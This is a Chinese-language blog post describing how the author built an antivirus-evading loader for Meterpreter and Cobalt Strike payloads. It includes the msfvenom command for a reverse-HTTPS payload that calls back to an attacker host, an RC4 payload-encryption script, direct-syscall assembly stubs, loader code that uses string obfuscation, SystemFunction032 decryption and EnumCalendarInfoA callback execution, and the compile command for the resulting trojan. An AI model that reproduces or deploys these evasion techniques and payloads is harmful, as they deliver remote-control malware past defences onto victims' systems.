Evading AntiVirus With Meterpreter & CobaltStrike Payload

0x00

OSCP 考完 + 特殊選才上臺灣大學系統的其中兩間學校後,終於有時間好好研究 defense evasion 的區塊。透過 RC4 encryption, direct syscalls, and Windows callback functions for in-memory execution 實作 shellcode loader。成功在 Windows Defender 開啟下跑 Meterpreter session 且可以跑 screenshot、webcam_snap 等較敏感操作,在 VirusTotal 的查殺率 10/72 。

補充一下,如果是純 raw 在 VT 上是 52/72,純 exe 在 VT 上是 57/71 。

我的 C2 架在跟 victim 同網段 (192.168.0.*/24) 的 Ubuntu 裡面的 VM,在 Ubuntu 裡面用 nginx reverse stream proxy 將流量導到 C2 上,所以影片的 IP 可能不是那麼直覺。

CobaltStrike Windows Stageless Payload 也行的哦! 只是需要 .profile 不能直接用預設的。

0x01 – Generate Payload

生一個 raw format 的 Windows x64 stageless meterpreter payload。

┌──(kali㉿kali)-[~/tools/AV_evasion]
└─$ msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.0.144 LPORT=4444 -f raw -o payload.bin
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 204892 bytes
Saved as: payload.bin

0x02 – RC4 Encrypt Payload

使用以下 RC4 script,加密 payload.bin,避免 signature 被抓到。

# rc4_encrypt.py
def rc4_encrypt(data, key):
    # Key-scheduling algorithm (KSA)
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    
    # Pseudo-random generation algorithm (PRGA)
    i = j = 0
    ciphertext = bytearray()
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        ciphertext.append(byte ^ k)
    return ciphertext

with open('payload.bin', 'rb') as f:
    shellcode = f.read()

key = b"YOUR_SECRET_KEY"  

encrypted = rc4_encrypt(shellcode, key)

with open('encrypted_payload.h', 'w') as f:
    f.write(", ".join(f"0x{b:02x}" for b in encrypted))


with open('rc4_key.h','w') as f:
    f.write(",".join(f"0x{b:02x}" for b in key))

GREEN = "\033[92m"
BLUE = "\033[94m"
RESET = "\033[0m"
INFO = f"{BLUE}[*]{RESET}"
SUCCESS = f"{GREEN}[+]{RESET}"

print(f"{SUCCESS} Payload encryption complete. File saved: {BLUE}encrypted_payload.h{RESET}")
print(f"{SUCCESS} RC4 key exported. File saved: {BLUE}rc4_key.h{RESET}")

執行 py script 產出 loader.cpp 會用到的 encrypted_payload.h & rc4_key.h。

┌──(kali㉿kali)-[~/tools/AV_evasion]
└─$ python3 rc4_encrypt.py
[+] Payload encryption complete. File saved: encrypted_payload.h
[+] RC4 key exported. File saved: rc4_key.h

0x03 – Direct Syscalls (NTAPI)

為了盡可能的避免 antivirus ,與其在 user mode 呼叫可能遭受 hook 的 API,不如直接透過 syscall 進入 kernel mode,但最核心的問題在於:System Service Number 會隨著 Windows 版本更迭而改變。確保Loader 能運作,事先在 NT OS System Service Table 確認了五個 syscall。

發現在 Windows 10061 到 28020 之間,這幾個關鍵 API 的 SSN 都是一樣的,暫時不會有版本不符的問題。

Function NameSSN (Win 10/11)Purpose
NtCreateSection0x4ACreates a section object in memory.
NtMapViewOfSection0x28Maps a view of a section into the virtual address space of a process.
NtProtectVirtualMemory0x50Changes the protection on a region of committed pages .
NtUnmapViewOfSection0x2AUnmaps a view of a section from the virtual address space.
NtClose0x0FCloses an open object handle.
BITS 64
DEFAULT REL

section .text
global x_001
global x_002
global x_003
global x_004
global x_005

; NtCreateSection
x_001:
    mov r10, rcx
    mov eax, 0x4A
    syscall
    ret

; NtMapViewOfSection
x_002:
    mov r10, rcx
    mov eax, 0x28
    syscall
    ret

; NtProtectVirtualMemory
x_003:
    mov r10, rcx
    mov eax, 0x50
    syscall
    ret

; NtUnmapViewOfSection
x_004:
    mov r10, rcx
    mov eax, 0x2A
    syscall
    ret

; NtClose
x_005:
    mov r10, rcx
    mov eax, 0x0F
    syscall
    ret

assemble object file

┌──(kali㉿kali)-[~/tools/AV_evasion]
└─$ nasm -f win64 syscalls.asm -o syscalls.o

0x04 – Loader 實作原理

鑒於 loader 實作不易就不公開完整了 loader,僅分享些實作會用到的 key point 。

1. 字串拼接混淆

string s1 = "a"; ... string _lib  = s1+s2+s3+s4+s5+s6+s7;   // → "advapi32.dll"
string k1 = "Sys"; ... string _proc = k1+k2+k3+k4+k5;       // → "SystemFunction032"
  • 避免直接出現 "advapi32.dll""SystemFunction032" 這兩個明顯的字串

2. 動態載入 SystemFunction032

HMODULE m = GetModuleHandleA(_lib.c_str());
if (!m) m = LoadLibraryA(_lib.c_str());
_T x = (_T)GetProcAddress(m, _proc.c_str());
  • SystemFunction032 是 advapi32.dll 匯出的 RC4 加密/解密函數
  NTSTATUS SystemFunction032(PRC4_CONTEXT pContext, PBYTE pKey);

其中 pContext 其實就是看到的 _K 結構

3. payload 與 key 都是 #include 進來的 array

unsigned char s[] = { #include "encrypted_payload.h" };
unsigned char t[] = { #include "rc4_key.h" };
  • 編譯時把加密過的 shellcode 和 key 直接 copy 進 binary

4. 使用 Section 物件來分配可執行記憶體

x_001(&g, 0xF001F, NULL, &q, 0x40, 0x08000000, NULL);     // NtCreateSection
x_002(g, (HANDLE)-1, &y, 0, 0, NULL, &w, 1, 0, 0x40);     // NtMapViewOfSection
  • x_001 → NtCreateSection
  • x_002 → NtMapViewOfSection
  • 權限:0x40 = PAGE_EXECUTE_READWRITE

5. 寫入加密 shellcode → RC4 解密 → 改保護 → 執行

memcpy(y, s, z);               // 把加密的 shellcode 先複製進去
_K o = { (DWORD)z, (DWORD)z, (PUCHAR)y };
_K p = { (DWORD)sizeof(t), ..., (PUCHAR)t };
x(&o, &p);                     // SystemFunction032 → RC4 解密(就地解密)
x_003(..., 0x20, ...);         // NtProtectVirtualMemory → PAGE_EXECUTE_READ (0x20)
EnumCalendarInfoA((CALINFO_ENUMPROCA)y, 2048, 1, 2);   // ← 執行 shellcode
  • 解密在原地進行 → 記憶體中從來沒有「明文 shellcode 當參數傳進去」的痕跡
  • 0x20 → PAGE_EXECUTE_READ,最標準的程式碼區段權限
  • EnumCalendarInfoA 是整個 loader 最關鍵的隱蔽執行點:
    這是一個 callback 型 API,預期你傳一個 CALINFO_ENUMPROCA 函數指標
    直接把 shellcode 位址強轉成 callback → Windows 會「正常」呼叫它

6. 最後清理現場

x_004((HANDLE)-1, y);   // NtUnmapViewOfSection
x_005(g);               // NtClose (section handle)
層面技術選擇主要繞過目標
字串拼接混淆靜態掃描、YARA
加密RC4 + SystemFunction032靜態特徵、明文 shellcode
記憶體分配NtCreateSection + NtMapViewOfSection避 VirtualAlloc 監控
寫入memcpy 到 section view避 WriteProcessMemory
解密原地 RC4 解密避明文 shellcode 出現在堆疊/參數
執行EnumCalendarInfoA callback避 CreateRemoteThread / 新執行緒
API 層級全程偏好 Native API (Nt*)避 user-mode hook

最終在編譯完就有一個過 defender 的 meterpreter Trojan

┌──(kali㉿kali)-[~/tools/AV_evasion]
└─$ x86_64-w64-mingw32-g++ loader_syscall.cpp syscalls.o -o exp.exe

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *

返回頂端